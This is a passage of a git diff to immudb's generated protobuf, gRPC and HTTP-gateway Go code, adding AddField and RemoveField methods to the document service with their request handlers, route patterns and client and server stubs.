28: immudb.model.DocumentService.DeleteCollection:input_type -> immudb.model.DeleteCollectionRequest - 15, // 29: immudb.model.DocumentService.CreateIndex:input_type -> immudb.model.CreateIndexRequest - 17, // 30: immudb.model.DocumentService.DeleteIndex:input_type -> immudb.model.DeleteIndexRequest - 19, // 31: immudb.model.DocumentService.InsertDocuments:input_type -> immudb.model.InsertDocumentsRequest - 21, // 32: immudb.model.DocumentService.ReplaceDocuments:input_type -> immudb.model.ReplaceDocumentsRequest - 23, // 33: immudb.model.DocumentService.DeleteDocuments:input_type -> immudb.model.DeleteDocumentsRequest - 25, // 34: immudb.model.DocumentService.SearchDocuments:input_type -> immudb.model.SearchDocumentsRequest - 33, // 35: immudb.model.DocumentService.CountDocuments:input_type -> immudb.model.CountDocumentsRequest - 35, // 36: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest - 37, // 37: immudb.model.DocumentService.ProofDocument:input_type -> immudb.model.ProofDocumentRequest - 3, // 38: immudb.model.DocumentService.CreateCollection:output_type -> immudb.model.CreateCollectionResponse - 10, // 39: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse - 7, // 40: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse - 14, // 41: immudb.model.DocumentService.UpdateCollection:output_type -> immudb.model.UpdateCollectionResponse - 12, // 42: immudb.model.DocumentService.DeleteCollection:output_type -> immudb.model.DeleteCollectionResponse - 16, // 43: immudb.model.DocumentService.CreateIndex:output_type -> immudb.model.CreateIndexResponse - 18, // 44: immudb.model.DocumentService.DeleteIndex:output_type -> immudb.model.DeleteIndexResponse - 20, // 45: immudb.model.DocumentService.InsertDocuments:output_type -> immudb.model.InsertDocumentsResponse - 22, // 46: immudb.model.DocumentService.ReplaceDocuments:output_type -> immudb.model.ReplaceDocumentsResponse - 24, // 47: immudb.model.DocumentService.DeleteDocuments:output_type -> immudb.model.DeleteDocumentsResponse - 30, // 48: immudb.model.DocumentService.SearchDocuments:output_type -> immudb.model.SearchDocumentsResponse - 34, // 49: immudb.model.DocumentService.CountDocuments:output_type -> immudb.model.CountDocumentsResponse - 36, // 50: immudb.model.DocumentService.AuditDocument:output_type -> immudb.model.AuditDocumentResponse - 38, // 51: immudb.model.DocumentService.ProofDocument:output_type -> immudb.model.ProofDocumentResponse - 38, // [38:52] is the sub-list for method output_type - 24, // [24:38] is the sub-list for method input_type - 24, // [24:24] is the sub-list for extension type_name - 24, // [24:24] is the sub-list for extension extendee - 0, // [0:24] is the sub-list for field type_name + 4, // 7: immudb.model.AddFieldRequest.field:type_name -> immudb.model.Field + 43, // 8: immudb.model.InsertDocumentsRequest.documents:type_name -> google.protobuf.Struct + 30, // 9: immudb.model.ReplaceDocumentsRequest.query:type_name -> immudb.model.Query + 43, // 10: immudb.model.ReplaceDocumentsRequest.document:type_name -> google.protobuf.Struct + 35, // 11: immudb.model.ReplaceDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 30, // 12: immudb.model.DeleteDocumentsRequest.query:type_name -> immudb.model.Query + 30, // 13: immudb.model.SearchDocumentsRequest.query:type_name -> immudb.model.Query + 31, // 14: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression + 33, // 15: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause + 32, // 16: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison + 1, // 17: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator + 44, // 18: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value + 35, // 19: immudb.model.SearchDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 36, // 20: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata + 43, // 21: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct + 30, // 22: immudb.model.CountDocumentsRequest.query:type_name -> immudb.model.Query + 35, // 23: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 45, // 24: immudb.model.ProofDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 2, // 25: immudb.model.DocumentService.CreateCollection:input_type -> immudb.model.CreateCollectionRequest + 9, // 26: immudb.model.DocumentService.GetCollections:input_type -> immudb.model.GetCollectionsRequest + 6, // 27: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest + 13, // 28: immudb.model.DocumentService.UpdateCollection:input_type -> immudb.model.UpdateCollectionRequest + 11, // 29: immudb.model.DocumentService.DeleteCollection:input_type -> immudb.model.DeleteCollectionRequest + 15, // 30: immudb.model.DocumentService.AddField:input_type -> immudb.model.AddFieldRequest + 17, // 31: immudb.model.DocumentService.RemoveField:input_type -> immudb.model.RemoveFieldRequest + 19, // 32: immudb.model.DocumentService.CreateIndex:input_type -> immudb.model.CreateIndexRequest + 21, // 33: immudb.model.DocumentService.DeleteIndex:input_type -> immudb.model.DeleteIndexRequest + 23, // 34: immudb.model.DocumentService.InsertDocuments:input_type -> immudb.model.InsertDocumentsRequest + 25, // 35: immudb.model.DocumentService.ReplaceDocuments:input_type -> immudb.model.ReplaceDocumentsRequest + 27, // 36: immudb.model.DocumentService.DeleteDocuments:input_type -> immudb.model.DeleteDocumentsRequest + 29, // 37: immudb.model.DocumentService.SearchDocuments:input_type -> immudb.model.SearchDocumentsRequest + 37, // 38: immudb.model.DocumentService.CountDocuments:input_type -> immudb.model.CountDocumentsRequest + 39, // 39: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest + 41, // 40: immudb.model.DocumentService.ProofDocument:input_type -> immudb.model.ProofDocumentRequest + 3, // 41: immudb.model.DocumentService.CreateCollection:output_type -> immudb.model.CreateCollectionResponse + 10, // 42: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse + 7, // 43: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse + 14, // 44: immudb.model.DocumentService.UpdateCollection:output_type -> immudb.model.UpdateCollectionResponse + 12, // 45: immudb.model.DocumentService.DeleteCollection:output_type -> immudb.model.DeleteCollectionResponse + 16, // 46: immudb.model.DocumentService.AddField:output_type -> immudb.model.AddFieldResponse + 18, // 47: immudb.model.DocumentService.RemoveField:output_type -> immudb.model.RemoveFieldResponse + 20, // 48: immudb.model.DocumentService.CreateIndex:output_type -> immudb.model.CreateIndexResponse + 22, // 49: immudb.model.DocumentService.DeleteIndex:output_type -> immudb.model.DeleteIndexResponse + 24, // 50: immudb.model.DocumentService.InsertDocuments:output_type -> immudb.model.InsertDocumentsResponse + 26, // 51: immudb.model.DocumentService.ReplaceDocuments:output_type -> immudb.model.ReplaceDocumentsResponse + 28, // 52: immudb.model.DocumentService.DeleteDocuments:output_type -> immudb.model.DeleteDocumentsResponse + 34, // 53: immudb.model.DocumentService.SearchDocuments:output_type -> immudb.model.SearchDocumentsResponse + 38, // 54: immudb.model.DocumentService.CountDocuments:output_type -> immudb.model.CountDocumentsResponse + 40, // 55: immudb.model.DocumentService.AuditDocument:output_type -> immudb.model.AuditDocumentResponse + 42, // 56: immudb.model.DocumentService.ProofDocument:output_type -> immudb.model.ProofDocumentResponse + 41, // [41:57] is the sub-list for method output_type + 25, // [25:41] is the sub-list for method input_type + 25, // [25:25] is the sub-list for extension type_name + 25, // [25:25] is the sub-list for extension extendee + 0, // [0:25] is the sub-list for field type_name } func init() { file_documents_proto_init() } @@ -2912,7 +3144,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreateIndexRequest); i { + switch v := v.(*AddFieldRequest); i { case 0: return &v.state case 1: @@ -2924,7 +3156,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreateIndexResponse); i { + switch v := v.(*AddFieldResponse); i { case 0: return &v.state case 1: @@ -2936,7 +3168,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteIndexRequest); i { + switch v := v.(*RemoveFieldRequest); i { case 0: return &v.state case 1: @@ -2948,7 +3180,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteIndexResponse); i { + switch v := v.(*RemoveFieldResponse); i { case 0: return &v.state case 1: @@ -2960,7 +3192,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*InsertDocumentsRequest); i { + switch v := v.(*CreateIndexRequest); i { case 0: return &v.state case 1: @@ -2972,7 +3204,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*InsertDocumentsResponse); i { + switch v := v.(*CreateIndexResponse); i { case 0: return &v.state case 1: @@ -2984,7 +3216,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReplaceDocumentsRequest); i { + switch v := v.(*DeleteIndexRequest); i { case 0: return &v.state case 1: @@ -2996,7 +3228,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReplaceDocumentsResponse); i { + switch v := v.(*DeleteIndexResponse); i { case 0: return &v.state case 1: @@ -3008,7 +3240,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteDocumentsRequest); i { + switch v := v.(*InsertDocumentsRequest); i { case 0: return &v.state case 1: @@ -3020,7 +3252,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteDocumentsResponse); i { + switch v := v.(*InsertDocumentsResponse); i { case 0: return &v.state case 1: @@ -3032,7 +3264,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SearchDocumentsRequest); i { + switch v := v.(*ReplaceDocumentsRequest); i { case 0: return &v.state case 1: @@ -3044,7 +3276,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Query); i { + switch v := v.(*ReplaceDocumentsResponse); i { case 0: return &v.state case 1: @@ -3056,7 +3288,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*QueryExpression); i { + switch v := v.(*DeleteDocumentsRequest); i { case 0: return &v.state case 1: @@ -3068,7 +3300,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FieldComparison); i { + switch v := v.(*DeleteDocumentsResponse); i { case 0: return &v.state case 1: @@ -3080,7 +3312,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*OrderByClause); i { + switch v := v.(*SearchDocumentsRequest); i { case 0: return &v.state case 1: @@ -3092,7 +3324,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SearchDocumentsResponse); i { + switch v := v.(*Query); i { case 0: return &v.state case 1: @@ -3104,7 +3336,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAtRevision); i { + switch v := v.(*QueryExpression); i { case 0: return &v.state case 1: @@ -3116,7 +3348,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentMetadata); i { + switch v := v.(*FieldComparison); i { case 0: return &v.state case 1: @@ -3128,7 +3360,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CountDocumentsRequest); i { + switch v := v.(*OrderByClause); i { case 0: return &v.state case 1: @@ -3140,7 +3372,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CountDocumentsResponse); i { + switch v := v.(*SearchDocumentsResponse); i { case 0: return &v.state case 1: @@ -3152,7 +3384,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AuditDocumentRequest); i { + switch v := v.(*DocumentAtRevision); i { case 0: return &v.state case 1: @@ -3164,7 +3396,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AuditDocumentResponse); i { + switch v := v.(*DocumentMetadata); i { case 0: return &v.state case 1: @@ -3176,7 +3408,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ProofDocumentRequest); i { + switch v := v.(*CountDocumentsRequest); i { case 0: return &v.state case 1: @@ -3188,6 +3420,54 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CountDocumentsResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*AuditDocumentRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*AuditDocumentResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*ProofDocumentRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ProofDocumentResponse); i { case 0: return &v.state @@ -3206,7 +3486,7 @@ func file_documents_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documents_proto_rawDesc, NumEnums: 2, - NumMessages: 37, + NumMessages: 41, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/protomodel/documents.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go index de2a4c17cd..888846bd38 100644 --- a/pkg/api/protomodel/documents.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -299,6 +299,152 @@ func local_request_DocumentService_DeleteCollection_0(ctx context.Context, marsh } +func request_DocumentService_AddField_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq AddFieldRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") + } + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + + msg, err := client.AddField(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_AddField_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq AddFieldRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") + } + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + + msg, err := server.AddField(ctx, &protoReq) + return msg, metadata, err + +} + +func request_DocumentService_RemoveField_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq RemoveFieldRequest + var metadata runtime.ServerMetadata + + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") + } + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + + val, ok = pathParams["fieldName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "fieldName") + } + + protoReq.FieldName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "fieldName", err) + } + + msg, err := client.RemoveField(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_RemoveField_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq RemoveFieldRequest + var metadata runtime.ServerMetadata + + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") + } + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + + val, ok = pathParams["fieldName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "fieldName") + } + + protoReq.FieldName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "fieldName", err) + } + + msg, err := server.RemoveField(ctx, &protoReq) + return msg, metadata, err + +} + func request_DocumentService_CreateIndex_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CreateIndexRequest var metadata runtime.ServerMetadata @@ -1166,6 +1312,52 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) + mux.Handle("POST", pattern_DocumentService_AddField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_AddField_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_AddField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("DELETE", pattern_DocumentService_RemoveField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_RemoveField_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_RemoveField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("POST", pattern_DocumentService_CreateIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -1537,6 +1729,46 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) + mux.Handle("POST", pattern_DocumentService_AddField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_AddField_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_AddField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("DELETE", pattern_DocumentService_RemoveField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_RemoveField_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_RemoveField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("POST", pattern_DocumentService_CreateIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -1751,6 +1983,10 @@ var ( pattern_DocumentService_DeleteCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collection", "name"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_AddField_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{"collection", "collectionName", "field"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_DocumentService_RemoveField_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3}, []string{"collection", "collectionName", "field", "fieldName"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_CreateIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{"collection", "collectionName", "index"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DeleteIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{"collection", "collectionName", "index"}, "", runtime.AssumeColonVerbOpt(true))) @@ -1783,6 +2019,10 @@ var ( forward_DocumentService_DeleteCollection_0 = runtime.ForwardResponseMessage + forward_DocumentService_AddField_0 = runtime.ForwardResponseMessage + + forward_DocumentService_RemoveField_0 = runtime.ForwardResponseMessage + forward_DocumentService_CreateIndex_0 = runtime.ForwardResponseMessage forward_DocumentService_DeleteIndex_0 = runtime.ForwardResponseMessage diff --git a/pkg/api/protomodel/documents_grpc.pb.go b/pkg/api/protomodel/documents_grpc.pb.go index d7c2324ea9..9bbf2090d4 100644 --- a/pkg/api/protomodel/documents_grpc.pb.go +++ b/pkg/api/protomodel/documents_grpc.pb.go @@ -23,6 +23,8 @@ type DocumentServiceClient interface { GetCollection(ctx context.Context, in *GetCollectionRequest, opts ...grpc.CallOption) (*GetCollectionResponse, error) UpdateCollection(ctx context.Context, in *UpdateCollectionRequest, opts ...grpc.CallOption) (*UpdateCollectionResponse, error) DeleteCollection(ctx context.Context, in *DeleteCollectionRequest, opts ...grpc.CallOption) (*DeleteCollectionResponse, error) + AddField(ctx context.Context, in *AddFieldRequest, opts ...grpc.CallOption) (*AddFieldResponse, error) + RemoveField(ctx context.Context, in *RemoveFieldRequest, opts ...grpc.CallOption) (*RemoveFieldResponse, error) CreateIndex(ctx context.Context, in *CreateIndexRequest, opts ...grpc.CallOption) (*CreateIndexResponse, error) DeleteIndex(ctx context.Context, in *DeleteIndexRequest, opts ...grpc.CallOption) (*DeleteIndexResponse, error) InsertDocuments(ctx context.Context, in *InsertDocumentsRequest, opts ...grpc.CallOption) (*InsertDocumentsResponse, error) @@ -87,6 +89,24 @@ func (c *documentServiceClient) DeleteCollection(ctx context.Context, in *Delete return out, nil } +func (c *documentServiceClient) AddField(ctx context.Context, in *AddFieldRequest, opts ...grpc.CallOption) (*AddFieldResponse, error) { + out := new(AddFieldResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/AddField", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *documentServiceClient) RemoveField(ctx context.Context, in *RemoveFieldRequest, opts ...grpc.CallOption) (*RemoveFieldResponse, error) { + out := new(RemoveFieldResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/RemoveField", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *documentServiceClient) CreateIndex(ctx context.Context, in *CreateIndexRequest, opts ...grpc.CallOption) (*CreateIndexResponse, error) { out := new(CreateIndexResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CreateIndex", in, out, opts...) @@ -177,6 +197,8 @@ type DocumentServiceServer interface { GetCollection(context.Context, *GetCollectionRequest) (*GetCollectionResponse, error) UpdateCollection(context.Context, *UpdateCollectionRequest) (*UpdateCollectionResponse, error) DeleteCollection(context.Context, *DeleteCollectionRequest) (*DeleteCollectionResponse, error) + AddField(context.Context, *AddFieldRequest) (*AddFieldResponse, error) + RemoveField(context.Context, *RemoveFieldRequest) (*RemoveFieldResponse, error) CreateIndex(context.Context, *CreateIndexRequest) (*CreateIndexResponse, error) DeleteIndex(context.Context, *DeleteIndexRequest) (*DeleteIndexResponse, error) InsertDocuments(context.Context, *InsertDocumentsRequest) (*InsertDocumentsResponse, error) @@ -207,6 +229,12 @@ func (UnimplementedDocumentServiceServer) UpdateCollection(context.Context, *Upd func (UnimplementedDocumentServiceServer) DeleteCollection(context.Context, *DeleteCollectionRequest) (*DeleteCollectionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DeleteCollection not implemented") } +func (UnimplementedDocumentServiceServer) AddField(context.Context, *AddFieldRequest) (*AddFieldResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method AddField not implemented") +} +func (UnimplementedDocumentServiceServer) RemoveField(context.Context, *RemoveFieldRequest) (*RemoveFieldResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method RemoveField not implemented") +} func (UnimplementedDocumentServiceServer) CreateIndex(context.Context, *CreateIndexRequest) (*CreateIndexResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateIndex not implemented") } @@ -336,6 +364,42 @@ func _DocumentService_DeleteCollection_Handler(srv interface{}, ctx context.Cont return interceptor(ctx, in, info, handler) } +func _DocumentService_AddField_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(AddFieldRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).AddField(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.model.DocumentService/AddField", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).AddField(ctx, req.(*AddFieldRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _DocumentService_RemoveField_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(RemoveFieldRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).RemoveField(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.model.DocumentService/RemoveField", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).RemoveField(ctx, req.(*RemoveFieldRequest)) + } + return interceptor(ctx, in, info, handler) +} + func _DocumentService_CreateIndex_Handler(srv interface{}, ctx 